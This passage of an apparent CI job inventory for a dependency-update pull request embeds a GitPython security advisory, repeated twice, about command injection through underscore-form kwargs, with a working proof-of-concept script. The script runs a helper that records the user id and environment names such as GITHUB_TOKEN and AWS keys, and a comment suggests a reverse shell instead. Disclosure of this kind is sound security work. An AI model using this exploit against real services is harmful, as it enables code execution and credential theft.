          in [#&#8203;2105](https://redirect.github.com/gitpython-developers/GitPython/pull/2105)\n-
          Improve CI infrastructure for pre-commit by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2110](https://redirect.github.com/gitpython-developers/GitPython/pull/2110)\n-
          Bump the pre-commit group with 5 updates by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
          in [#&#8203;2111](https://redirect.github.com/gitpython-developers/GitPython/pull/2111)\n-
          Upgrade Sphinx for 3.14 support; drop doc build support on 3.8; test 3.14
          by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan) in [#&#8203;2112](https://redirect.github.com/gitpython-developers/GitPython/pull/2112)\n-
          Fix `Repo.active_branch` resolution for reftable-backed repositories by
          [@&#8203;Copilot](https://redirect.github.com/Copilot) in [#&#8203;2114](https://redirect.github.com/gitpython-developers/GitPython/pull/2114)\n-
          docs: warn about GitDB performance with large commits by [@&#8203;mvanhorn](https://redirect.github.com/mvanhorn)
          in [#&#8203;2115](https://redirect.github.com/gitpython-developers/GitPython/pull/2115)\n-
          cmd: fix kwarg formatting in docstring example by [@&#8203;UweSchwaeke](https://redirect.github.com/UweSchwaeke)
          in [#&#8203;2117](https://redirect.github.com/gitpython-developers/GitPython/pull/2117)\n-
          Bump <https://github.com/astral-sh/ruff-pre-commit> from v0.15.5 to 0.15.8
          in the pre-commit group by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
          in [#&#8203;2122](https://redirect.github.com/gitpython-developers/GitPython/pull/2122)\n-
          Add trailer support for commit creation by [@&#8203;Krishnachaitanyakc](https://redirect.github.com/Krishnachaitanyakc)
          in [#&#8203;2116](https://redirect.github.com/gitpython-developers/GitPython/pull/2116)\n-
          Harden commit trailer subprocess handling and align trailer I/O paths by
          [@&#8203;Copilot](https://redirect.github.com/Copilot) in [#&#8203;2125](https://redirect.github.com/gitpython-developers/GitPython/pull/2125)\n-
          git.cmd.Git.execute(..): fix `with_stdout=False` by [@&#8203;ngie-eign](https://redirect.github.com/ngie-eign)
          in [#&#8203;2126](https://redirect.github.com/gitpython-developers/GitPython/pull/2126)\n-
          Make sure that multi-options are checked after splitting them with `shlex`
          by [@&#8203;Byron](https://redirect.github.com/Byron) in [#&#8203;2130](https://redirect.github.com/gitpython-developers/GitPython/pull/2130)\n-
          Block unsafe underscored git kwargs / Fix for GHSA-rpm5-65cw-6hj4 by [@&#8203;WesR](https://redirect.github.com/WesR)
          in [#&#8203;2131](https://redirect.github.com/gitpython-developers/GitPython/pull/2131)\n\n####
          New Contributors\n\n- [@&#8203;Timour-Ilyas](https://redirect.github.com/Timour-Ilyas)
          made their first contribution in [#&#8203;2098](https://redirect.github.com/gitpython-developers/GitPython/pull/2098)\n-
          [@&#8203;daniel7an](https://redirect.github.com/daniel7an) made their first
          contribution in [#&#8203;2100](https://redirect.github.com/gitpython-developers/GitPython/pull/2100)\n-
          [@&#8203;lweyrich1](https://redirect.github.com/lweyrich1) made their first
          contribution in [#&#8203;2105](https://redirect.github.com/gitpython-developers/GitPython/pull/2105)\n-
          [@&#8203;Copilot](https://redirect.github.com/Copilot) made their first
          contribution in [#&#8203;2114](https://redirect.github.com/gitpython-developers/GitPython/pull/2114)\n-
          [@&#8203;mvanhorn](https://redirect.github.com/mvanhorn) made their first
          contribution in [#&#8203;2115](https://redirect.github.com/gitpython-developers/GitPython/pull/2115)\n-
          [@&#8203;UweSchwaeke](https://redirect.github.com/UweSchwaeke) made their
          first contribution in [#&#8203;2117](https://redirect.github.com/gitpython-developers/GitPython/pull/2117)\n-
          [@&#8203;Krishnachaitanyakc](https://redirect.github.com/Krishnachaitanyakc)
          made their first contribution in [#&#8203;2116](https://redirect.github.com/gitpython-developers/GitPython/pull/2116)\n-
          [@&#8203;ngie-eign](https://redirect.github.com/ngie-eign) made their first
          contribution in [#&#8203;2126](https://redirect.github.com/gitpython-developers/GitPython/pull/2126)\n-
          [@&#8203;WesR](https://redirect.github.com/WesR) made their first contribution
          in [#&#8203;2131](https://redirect.github.com/gitpython-developers/GitPython/pull/2131)\n\n**Full
          Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.46...3.1.47>\n\n</details>\n\n---\n\n###
          Configuration\n\n\U0001F4C5 **Schedule**: (UTC)\n\n- Branch creation\n  -
          \"\"\n- Automerge\n  - At any time (no schedule defined)\n\n\U0001F6A6 **Automerge**:
          Disabled by config. Please merge this manually once you are satisfied.\n\n\u267B
          **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry
          checkbox.\n\n\U0001F515 **Ignore**: Close this PR and you won't be reminded
          about this update again.\n\n---\n\n - [ ] <!-- rebase-check -->If you want
          to rebase/retry this PR, check this box\n\n---\n\nThis PR was generated
          by [Mend Renovate](https://mend.io/renovate/). View the [repository job
          log](https://developer.mend.io/github/osism/release).\n<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4xNDEuMyIsInVwZGF0ZWRJblZlciI6IjQzLjE0MS4zIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJyZW5vdmF0ZSJdfQ==-->\n"
        change_url: https://github.com/osism/release/pull/2468
        commit_id: 3d6baaff5c6b0c5e485248cf5444f8b5c64c5929
        patchset: 3d6baaff5c6b0c5e485248cf5444f8b5c64c5929
        project:
          canonical_hostname: github.com
          canonical_name: github.com/osism/release
          name: osism/release
          short_name: release
        src_dir: src/github.com/osism/release
        topic: null
      change: '2468'
      change_message: "chore(deps): update dependency gitpython to v3.1.47 [security]\n\nThis
        PR contains the following updates:\n\n| Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/)
        | [Confidence](https://docs.renovatebot.com/merge-confidence/) |\n|---|---|---|---|\n|
        [GitPython](https://redirect.github.com/gitpython-developers/GitPython) |
        `==3.1.46` \u2192 `==3.1.47` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/gitpython/3.1.47?slim=true)
        | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/gitpython/3.1.46/3.1.47?slim=true)
        |\n\n---\n\n### GitPython has Command Injection via Git options bypass\n[GHSA-rpm5-65cw-6hj4](https://redirect.github.com/advisories/GHSA-rpm5-65cw-6hj4)\n\n<details>\n<summary>More
        information</summary>\n\n#### Details\n##### Summary\nGitPython blocks dangerous
        Git options such as `--upload-pack` and `--receive-pack` by default, but the
        equivalent Python kwargs `upload_pack` and `receive_pack` bypass that check.
        If an application passes attacker-controlled kwargs into `Repo.clone_from()`,
        `Remote.fetch()`, `Remote.pull()`, or `Remote.push()`, this leads to arbitrary
        command execution even when `allow_unsafe_options` is left at its default
        value of `False`.\n\n##### Details\nGitPython explicitly treats helper-command
        options as unsafe because they can be used to execute arbitrary commands:\n\n-
        `git/repo/base.py:145-153` marks clone options such as `--upload-pack`, `-u`,
        `--config`, and `-c` as unsafe.\n- `git/remote.py:535-548` marks fetch/pull/push
        options such as `--upload-pack`, `--receive-pack`, and `--exec` as unsafe.\n\nThe
        vulnerable API paths check the raw kwarg names before they're its normalized
        into command-line flags:\n\n- `Repo.clone_from()` checks `list(kwargs.keys())`
        in `git/repo/base.py:1387-1390`\n- `Remote.fetch()` checks `list(kwargs.keys())`
        in `git/remote.py:1070-1071`\n- `Remote.pull()` checks `list(kwargs.keys())`
        in `git/remote.py:1124-1125`\n- `Remote.push()` checks `list(kwargs.keys())`
        in `git/remote.py:1197-1198`\n\nThat validation is performed by `Git.check_unsafe_options()`
        in `git/cmd.py:948-961`. The validator correctly blocks option names such
        as `upload-pack`, `receive-pack`, and `exec`.\n\nLater, GitPython converts
        Python kwargs into Git command-line flags in `Git.transform_kwarg()` at `git/cmd.py:1471-1484`.
        During that step, underscore-form kwargs are dashified:\n\n- `upload_pack=...`
        becomes `--upload-pack=...`\n- `receive_pack=...` becomes `--receive-pack=...`\n\nBecause
        the unsafe-option check runs before this normalization, underscore-form kwargs
        bypass the safety check even though they become the exact dangerous Git flags
        that the code is supposed to reject.\n\nIn practice:\n\n- `remote.fetch(**{\"upload-pack\":
        helper})` is blocked with `UnsafeOptionError`\n- `remote.fetch(upload_pack=helper)`
        is allowed and reaches helper execution\n\nThe same bypass works for:\n\n```python\nRepo.clone_from(origin,
        out, upload_pack=helper)\nrepo.remote(\"origin\").fetch(upload_pack=helper)\nrepo.remote(\"origin\").pull(upload_pack=helper)\nrepo.remote(\"origin\").push(receive_pack=helper)\n```\n\nThis
        does not appear to affect every unsafe option. For example, `exec=` is already
        rejected because the raw kwarg name `exec` matches the blocked option name
        before normalization.\n\nExisting tests cover the hyphenated form, not the
        vulnerable underscore form. For example:\n\n- `test/test_clone.py:129-136`
        checks `{\"upload-pack\": ...}`\n- `test/test_remote.py:830-833` checks `{\"upload-pack\":
        ...}`\n- `test/test_remote.py:968-975` checks `{\"receive-pack\": ...}`\n\nThose
        tests correctly confirm the literal Git option names are blocked, but they
        do not exercise the normal Python kwarg spelling that bypasses the guard.\n\n#####
        PoC\n1. Create and activate a virtual environment in the repository root:\n\n```bash\npython3
        -m venv .venv-sec\n.venv-sec/bin/pip install setuptools gitdb\nsource ./.venv-sec/bin/activate\n```\n\n2.
        make a new python file and put the following in there, then run it:\n\n```python\nimport
        os\nimport stat\nimport subprocess\nimport tempfile\n\nfrom git import Repo\nfrom
        git.exc import UnsafeOptionError\n\n##### Setup: create isolated repositories
        so the PoC uses a normal fetch flow.\nbase = tempfile.mkdtemp(prefix=\"gp-poc-risk-\")\norigin
        = os.path.join(base, \"origin.git\")\nproducer = os.path.join(base, \"producer\")\nvictim
        = os.path.join(base, \"victim\")\nproof = os.path.join(base, \"proof.txt\")\nwrapper
        = os.path.join(base, \"wrapper.sh\")\n\n##### Setup: this wrapper is just
        to demo things you can do, not required for the exploit to work\n\n##### you
        could also do something like an SSH reverse shell, really anything\nwith open(wrapper,
        \"w\") as f:\n    f.write(f\"\"\"#!/bin/sh\n{{\n  echo \"code_exec=1\"\n  echo
        \"whoami=$(id)\"\n  echo \"cwd=$(pwd)\"\n  echo \"uname=$(uname -a)\"\n  printf
        'argv='; printf '<%s>' \"$@&#8203;\"; echo\n  env | grep -E '^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)='
        | sed 's/=.*$/=<redacted>/' || true\n}} > '{proof}'\nexec git-upload-pack
        \"$@&#8203;\"\n\"\"\")\nos.chmod(wrapper, stat.S_IRWXU)\n\nsubprocess.run([\"git\",
        \"init\", \"--bare\", origin], check=True, stdout=subprocess.DEVNULL)\nsubprocess.run([\"git\",
        \"clone\", origin, producer], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\nwith
        open(os.path.join(producer, \"README\"), \"w\") as f:\n    f.write(\"x\")\n\nsubprocess.run([\"git\",
        \"-C\", producer, \"add\", \"README\"], check=True, stdout=subprocess.DEVNULL)\nsubprocess.run(\n
        \   [\"git\", \"-C\", producer, \"-c\", \"user.name=t\", \"-c\", \"user.email=t@t\",
        \"commit\", \"-m\", \"init\"],\n    check=True,\n    stdout=subprocess.DEVNULL,\n)\nsubprocess.run([\"git\",
        \"-C\", producer, \"push\", \"origin\", \"HEAD\"], check=True, stdout=subprocess.DEVNULL,
        stderr=subprocess.DEVNULL)\nsubprocess.run([\"git\", \"clone\", origin, victim],
        check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\nrepo
        = Repo(victim)\nremote = repo.remote(\"origin\")\n\n##### the literal Git
        option name is properly blocked.\ntry:\n    remote.fetch(**{\"upload-pack\":
        wrapper})\n    print(\"control=unexpected_success\")\nexcept UnsafeOptionError:\n
        \   print(\"control=blocked\")\n\n##### this is the actual vulnerability\n\n#####
        you can also just do upload_pack=\"touch /tmp/proof\", the wrapper is just
        to show greater impact\n##### if you do the \"touch /tmp/proof\" the script
        will crash, but the file will have been created\nremote.fetch(upload_pack=wrapper)\n\n#####
        Proof: the helper ran as the GitPython host process.\nprint(\"proof_exists\",
        os.path.exists(proof), proof)\nprint(open(proof).read())\n```\n\n3. Expected
        result:\n\n- The script prints `control=blocked`\n- The script prints `proof_exists
        True ...`\n- The proof file contains evidence that the attacker-controlled
        helper executed as the local application account, including `id`, working
        directory, argv, and selected environment variable names\n\nExample output:\n\n```bash\nGitPython
        % python3 test.py\ncontrol=blocked\nproof_exists True /var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/proof.txt\ncode_exec=1\nwhoami=uid=501(wes)
        gid=20(staff) <redacted>\ncwd=/private/var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/victim\nuname=Darwin
        \ <redacted> Darwin Kernel Version  <redacted>; root:xnu-11417. <redacted>\nargv=</var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/origin.git>\nUSER=<redacted>\nSSH_AUTH_SOCK=<redacted>\nPATH=<redacted>\nHOME=<redacted>\n```\n\nThis
        PoC does not require a malicious repository. The PoC uses that fresh blank
        repository. The only attacker-controlled input is the kwarg that GitPython
        turns into `--upload-pack`.\n\n##### Impact\nWho is impacted:\n- Web applications
        that let users configure repository import, sync, mirroring, fetch, pull,
        or push behavior\n- Systems that accept a user-provided dict of \"extra Git
        options\" and pass it into GitPython with `**kwargs`\n- CI/CD systems, workers,
        automation bots, or internal tools that build GitPython calls from untrusted
        integration settings or job definitions (yaml, json, etc configs )\n\nWhat
        the attacker needs to control:\n\n- A value that becomes `upload_pack` or
        `receive_pack` in the kwargs passed to `Repo.clone_from()`, `Remote.fetch()`,
        `Remote.pull()`, or `Remote.push()`\n\nFrom a severity perspective, this could
        lead to\n- Theft of SSH keys, deploy credentials, API tokens, or cloud credentials
        available to the process\n- Modification of repositories, build outputs, or
        release artifacts\n- Lateral movement from CI/CD workers or automation hosts\n-
        Full compromise of the worker or service process handling repository operations\n\nThe
        highest-risk environments are network-reachable services and automation systems
        that expose these GitPython kwargs across a trust boundary while relying on
        the default unsafe-option guard for protection.\n\n#### Severity\n- CVSS Score:
        8.8 / 10 (High)\n- Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\n####
        References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4)\n-
        [https://github.com/advisories/GHSA-rpm5-65cw-6hj4](https://redirect.github.com/advisories/GHSA-rpm5-65cw-6hj4)\n\nThis
        data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-rpm5-65cw-6hj4)
        ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
        Release Notes\n\n<details>\n<summary>gitpython-developers/GitPython (GitPython)</summary>\n\n###
        [`v3.1.47`](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.47):
        - with security fixes\n\n[Compare Source](https://redirect.github.com/gitpython-developers/GitPython/compare/3.1.46...3.1.47)\n\n####
        Advisories\n\n- <https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4>\n-
        <https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485>\n\n####
        What's Changed\n\n- Prepare next release by [@&#8203;Byron](https://redirect.github.com/Byron)
        in [#&#8203;2095](https://redirect.github.com/gitpython-developers/GitPython/pull/2095)\n-
        Bump git/ext/gitdb from `335c0f6` to `4c63ee6` by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
        in [#&#8203;2096](https://redirect.github.com/gitpython-developers/GitPython/pull/2096)\n-
        DOC: README Add urls and updated a relative url by [@&#8203;Timour-Ilyas](https://redirect.github.com/Timour-Ilyas)
        in [#&#8203;2098](https://redirect.github.com/gitpython-developers/GitPython/pull/2098)\n-
        Fix GitConfigParser ignoring multiple \\[include] path entries by [@&#8203;daniel7an](https://redirect.github.com/daniel7an)
        in [#&#8203;2100](https://redirect.github.com/gitpython-developers/GitPython/pull/2100)\n-
        Switch back from Alpine to Debian for WSL by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
        in [#&#8203;2108](https://redirect.github.com/gitpython-developers/GitPython/pull/2108)\n-
        Bump git/ext/gitdb from `4c63ee6` to `5c1b303` by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
        in [#&#8203;2106](https://redirect.github.com/gitpython-developers/GitPython/pull/2106)\n-
        Run `gc.collect()` twice in `test_rename` on Python 3.12 by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
        in [#&#8203;2109](https://redirect.github.com/gitpython-developers/GitPython/pull/2109)\n-
        fix: guard AutoInterrupt terminate during interpreter shutdown by [@&#8203;lweyrich1](https://redirect.github.com/lweyrich1)
        in [#&#8203;2105](https://redirect.github.com/gitpython-developers/GitPython/pull/2105)\n-
        Improve CI infrastructure for pre-commit by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
        in [#&#8203;2110](https://redirect.github.com/gitpython-developers/GitPython/pull/2110)\n-
        Bump the pre-commit group with 5 updates by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
        in [#&#8203;2111](https://redirect.github.com/gitpython-developers/GitPython/pull/2111)\n-
        Upgrade Sphinx for 3.14 support; drop doc build support on 3.8; test 3.14
        by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan) in [#&#8203;2112](https://redirect.github.com/gitpython-developers/GitPython/pull/2112)\n-
        Fix `Repo.active_branch` resolution for reftable-backed repositories by [@&#8203;Copilot](https://redirect.github.com/Copilot)
        in [#&#8203;2114](https://redirect.github.com/gitpython-developers/GitPython/pull/2114)\n-
        docs: warn about GitDB performance with large commits by [@&#8203;mvanhorn](https://redirect.github.com/mvanhorn)
        in [#&#8203;2115](https://redirect.github.com/gitpython-developers/GitPython/pull/2115)\n-
        cmd: fix kwarg formatting in docstring example by [@&#8203;UweSchwaeke](https://redirect.github.com/UweSchwaeke)
        in [#&#8203;2117](https://redirect.github.com/gitpython-developers/GitPython/pull/2117)\n-
        Bump <https://github.com/astral-sh/ruff-pre-commit> from v0.15.5 to 0.15.8
        in the pre-commit group by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
        in [#&#8203;2122](https://redirect.github.com/gitpython-developers/GitPython/pull/2122)\n-
        Add trailer support for commit creation by [@&#8203;Krishnachaitanyakc](https://redirect.github.com/Krishnachaitanyakc)
        in [#&#8203;2116](https://redirect.github.com/gitpython-developers/GitPython/pull/2116)\n-
        Harden commit trailer subprocess handling and align trailer I/O paths by [@&#8203;Copilot](https://redirect.github.com/Copilot)
        in [#&#8203;2125](https://redirect.github.com/gitpython-developers/GitPython/pull/2125)\n-
        git.cmd.Git.execute(..): fix `with_stdout=False` by [@&#8203;ngie-eign](https://redirect.github.com/ngie-eign)
        in [#&#8203;2126](https://redirect.github.com/gitpython-developers/GitPython/pull/2126)\n-
        Make sure that multi-options are checked after splitting them with `shlex`
        by [@&#8203;Byron](https://redirect.github.com/Byron) in [#&#8203;2130](https://redirect.github.com/gitpython-developers/GitPython/pull/2130)\n-
        Block unsafe underscored git kwargs / Fix for GHSA-rpm5-65cw-6hj4 by [@&#8203;WesR](https://redirect.github.com/WesR)
        in [#&#8203;2131](https://redirect.github.com/gitpython-developers/GitPython/pull/2131)\n\n####
        New Contributors\n\n- [@&#8203;Timour-Ilyas](https://redirect.github.com/Timour-Ilyas)
        made their first contribution in [#&#8203;2098](https://redirect.github.com/gitpython-developers/GitPython/pull/2098)\n-
        [@&#8203;daniel7an](https://redirect.github.com/daniel7an) made their first
        contribution in [#&#8203;2100](https://redirect.github.com/gitpython-developers/GitPython/pull/2100)\n-
        [@&#8203;lweyrich1](https://redirect.github.com/lweyrich1) made their first
        contribution in [#&#8203;2105](https://redirect.github.com/gitpython-developers/GitPython/pull/2105)\n-
        [@&#8203;Copilot](https://redirect.github.com/Copilot) made their first contribution
        in [#&#8203;2114](https://redirect.github.com/gitpython-developers/GitPython/pull/2114)\n-
        [@&#8203;mvanhorn](https://redirect.github.com/mvanhorn) made their first
        contribution in [#&#8203;2115](https://redirect.github.com/gitpython-developers/GitPython/pull/2115)\n-
        [@&#8203;UweSchwaeke](https://redirect.github.com/UweSchwaeke) made their
        first contribution in [#&#8203;2117](https://redirect.github.com/gitpython-developers/GitPython/pull/2117)\n-
        [@&#8203;Krishnachaitanyakc](https://redirect.github.com/Krishnachaitanyakc)
        made their first contribution in [#&#8203;2116](https://redirect.github.com/gitpython-developers/GitPython/pull/2116)\n-
        [@&#8203;ngie-eign](https://redirect.github.com/ngie-eign) made their first
        contribution in [#&#8203;2126](https://redirect.github.com/gitpython-developers/GitPython/pull/2126)\n-
        [@&#8203;WesR](https://redirect.github.com/WesR) made their first contribution
        in [#&#8203;2131](https://redirect.github.com/gitpython-developers/GitPython/pull/2131)\n\n**Full
        Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.46...3.1.47>\n\n</details>\n\n---\n\n###
        Configuration\n\n\U0001F4C5 **Schedule**: (UTC)\n\n- Branch creation\n  -
        \"\"\n- Automerge\n  - At any time (no schedule defined)\n\n\U0001F6A6 **Automerge**:
        Disabled by config. Please merge this manually once you are satisfied.\n\n\u267B
        **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry
        checkbox.\n\n\U0001F515 **Ignore**: Close this PR and you won't be reminded
        about this update again.\n\n---\n\n - [ ] <!-- rebase-check -->If you want
        to rebase/retry this PR, check this box\n\n---\n\nThis PR was generated by
        [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/osism/release).\n<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4xNDEuMyIsInVwZGF0ZWRJblZlciI6IjQzLjE0MS4zIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJyZW5vdmF0ZSJdfQ==-->\n"
      change_url: https://github.com/osism/release/pull/2468
      child_jobs: []
      commit_id: 3d6baaff5c6b0c5e485248cf5444f8b5c64c5929
      event_id: f7980a00-410e-11f1-9e1f-94db560919da
      executor:
        hostname: 521e9411259a
        inventory_file: /var/lib/zuul/builds/33b11ef04ee6406da876c1f2df261009/ansible/inventory.yaml
        log_root: /var/lib/zuul/builds/33b11ef04ee6406da876c1f2df261009/work/logs
        result_data_file: /var/lib/zuul/builds/33b11ef04ee6406da876c1f2df261009/work/results.json
        src_root: /var/lib/zuul/builds/33b11ef04ee6406da876c1f2df261009/work/src
        work_root: /var/lib/zuul/builds/33b11ef04ee6406da876c1f2df261009/work
      include_vars: []
      items:
      - branch: main
        change: '2468'
        change_message: "chore(deps): update dependency gitpython to v3.1.47 [security]\n\nThis
          PR contains the following updates:\n\n| Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/)
          | [Confidence](https://docs.renovatebot.com/merge-confidence/) |\n|---|---|---|---|\n|
          [GitPython](https://redirect.github.com/gitpython-developers/GitPython)
          | `==3.1.46` \u2192 `==3.1.47` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/gitpython/3.1.47?slim=true)
          | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/gitpython/3.1.46/3.1.47?slim=true)
          |\n\n---\n\n### GitPython has Command Injection via Git options bypass\n[GHSA-rpm5-65cw-6hj4](https://redirect.github.com/advisories/GHSA-rpm5-65cw-6hj4)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\nGitPython blocks dangerous
          Git options such as `--upload-pack` and `--receive-pack` by default, but
          the equivalent Python kwargs `upload_pack` and `receive_pack` bypass that
          check. If an application passes attacker-controlled kwargs into `Repo.clone_from()`,
          `Remote.fetch()`, `Remote.pull()`, or `Remote.push()`, this leads to arbitrary
          command execution even when `allow_unsafe_options` is left at its default
          value of `False`.\n\n##### Details\nGitPython explicitly treats helper-command
          options as unsafe because they can be used to execute arbitrary commands:\n\n-
          `git/repo/base.py:145-153` marks clone options such as `--upload-pack`,
          `-u`, `--config`, and `-c` as unsafe.\n- `git/remote.py:535-548` marks fetch/pull/push
          options such as `--upload-pack`, `--receive-pack`, and `--exec` as unsafe.\n\nThe
          vulnerable API paths check the raw kwarg names before they're its normalized
          into command-line flags:\n\n- `Repo.clone_from()` checks `list(kwargs.keys())`
          in `git/repo/base.py:1387-1390`\n- `Remote.fetch()` checks `list(kwargs.keys())`
          in `git/remote.py:1070-1071`\n- `Remote.pull()` checks `list(kwargs.keys())`
          in `git/remote.py:1124-1125`\n- `Remote.push()` checks `list(kwargs.keys())`
          in `git/remote.py:1197-1198`\n\nThat validation is performed by `Git.check_unsafe_options()`
          in `git/cmd.py:948-961`. The validator correctly blocks option names such
          as `upload-pack`, `receive-pack`, and `exec`.\n\nLater, GitPython converts
          Python kwargs into Git command-line flags in `Git.transform_kwarg()` at
          `git/cmd.py:1471-1484`. During that step, underscore-form kwargs are dashified:\n\n-
          `upload_pack=...` becomes `--upload-pack=...`\n- `receive_pack=...` becomes
          `--receive-pack=...`\n\nBecause the unsafe-option check runs before this
          normalization, underscore-form kwargs bypass the safety check even though
          they become the exact dangerous Git flags that the code is supposed to reject.\n\nIn
          practice:\n\n- `remote.fetch(**{\"upload-pack\": helper})` is blocked with
          `UnsafeOptionError`\n- `remote.fetch(upload_pack=helper)` is allowed and
          reaches helper execution\n\nThe same bypass works for:\n\n```python\nRepo.clone_from(origin,
          out, upload_pack=helper)\nrepo.remote(\"origin\").fetch(upload_pack=helper)\nrepo.remote(\"origin\").pull(upload_pack=helper)\nrepo.remote(\"origin\").push(receive_pack=helper)\n```\n\nThis
          does not appear to affect every unsafe option. For example, `exec=` is already
          rejected because the raw kwarg name `exec` matches the blocked option name
          before normalization.\n\nExisting tests cover the hyphenated form, not the
          vulnerable underscore form. For example:\n\n- `test/test_clone.py:129-136`
          checks `{\"upload-pack\": ...}`\n- `test/test_remote.py:830-833` checks
          `{\"upload-pack\": ...}`\n- `test/test_remote.py:968-975` checks `{\"receive-pack\":
          ...}`\n\nThose tests correctly confirm the literal Git option names are
          blocked, but they do not exercise the normal Python kwarg spelling that
          bypasses the guard.\n\n##### PoC\n1. Create and activate a virtual environment
          in the repository root:\n\n```bash\npython3 -m venv .venv-sec\n.venv-sec/bin/pip
          install setuptools gitdb\nsource ./.venv-sec/bin/activate\n```\n\n2. make
          a new python file and put the following in there, then run it:\n\n```python\nimport
          os\nimport stat\nimport subprocess\nimport tempfile\n\nfrom git import Repo\nfrom
          git.exc import UnsafeOptionError\n\n##### Setup: create isolated repositories
          so the PoC uses a normal fetch flow.\nbase = tempfile.mkdtemp(prefix=\"gp-poc-risk-\")\norigin
          = os.path.join(base, \"origin.git\")\nproducer = os.path.join(base, \"producer\")\nvictim
          = os.path.join(base, \"victim\")\nproof = os.path.join(base, \"proof.txt\")\nwrapper
          = os.path.join(base, \"wrapper.sh\")\n\n##### Setup: this wrapper is just
          to demo things you can do, not required for the exploit to work\n\n#####
          you could also do something like an SSH reverse shell, really anything\nwith
          open(wrapper, \"w\") as f:\n    f.write(f\"\"\"#!/bin/sh\n{{\n  echo \"code_exec=1\"\n
          \ echo \"whoami=$(id)\"\n  echo \"cwd=$(pwd)\"\n  echo \"uname=$(uname -a)\"\n
          \ printf 'argv='; printf '<%s>' \"$@&#8203;\"; echo\n  env | grep -E '^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)='
          | sed 's/=.*$/=<redacted>/' || true\n}} > '{proof}'\nexec git-upload-pack
          \"$@&#8203;\"\n\"\"\")\nos.chmod(wrapper, stat.S_IRWXU)\n\nsubprocess.run([\"git\",
          \"init\", \"--bare\", origin], check=True, stdout=subprocess.DEVNULL)\nsubprocess.run([\"git\",
          \"clone\", origin, producer], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\nwith
          open(os.path.join(producer, \"README\"), \"w\") as f:\n    f.write(\"x\")\n\nsubprocess.run([\"git\",
          \"-C\", producer, \"add\", \"README\"], check=True, stdout=subprocess.DEVNULL)\nsubprocess.run(\n
          \   [\"git\", \"-C\", producer, \"-c\", \"user.name=t\", \"-c\", \"user.email=t@t\",
          \"commit\", \"-m\", \"init\"],\n    check=True,\n    stdout=subprocess.DEVNULL,\n)\nsubprocess.run([\"git\",
          \"-C\", producer, \"push\", \"origin\", \"HEAD\"], check=True, stdout=subprocess.DEVNULL,
          stderr=subprocess.DEVNULL)\nsubprocess.run([\"git\", \"clone\", origin,
          victim], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\nrepo
          = Repo(victim)\nremote = repo.remote(\"origin\")\n\n##### the literal Git
          option name is properly blocked.\ntry:\n    remote.fetch(**{\"upload-pack\":
          wrapper})\n    print(\"control=unexpected_success\")\nexcept UnsafeOptionError:\n
          \   print(\"control=blocked\")\n\n##### this is the actual vulnerability\n\n#####
          you can also just do upload_pack=\"touch /tmp/proof\", the wrapper is just
          to show greater impact\n##### if you do the \"touch /tmp/proof\" the script
          will crash, but the file will have been created\nremote.fetch(upload_pack=wrapper)\n\n#####
          Proof: the helper ran as the GitPython host process.\nprint(\"proof_exists\",
          os.path.exists(proof), proof)\nprint(open(proof).read())\n```\n\n3. Expected
          result:\n\n- The script prints `control=blocked`\n- The script prints `proof_exists
          True ...`\n- The proof file contains evidence that the attacker-controlled
          helper executed as the local application account, including `id`, working
          directory, argv, and selected environment variable names\n\nExample output:\n\n```bash\nGitPython
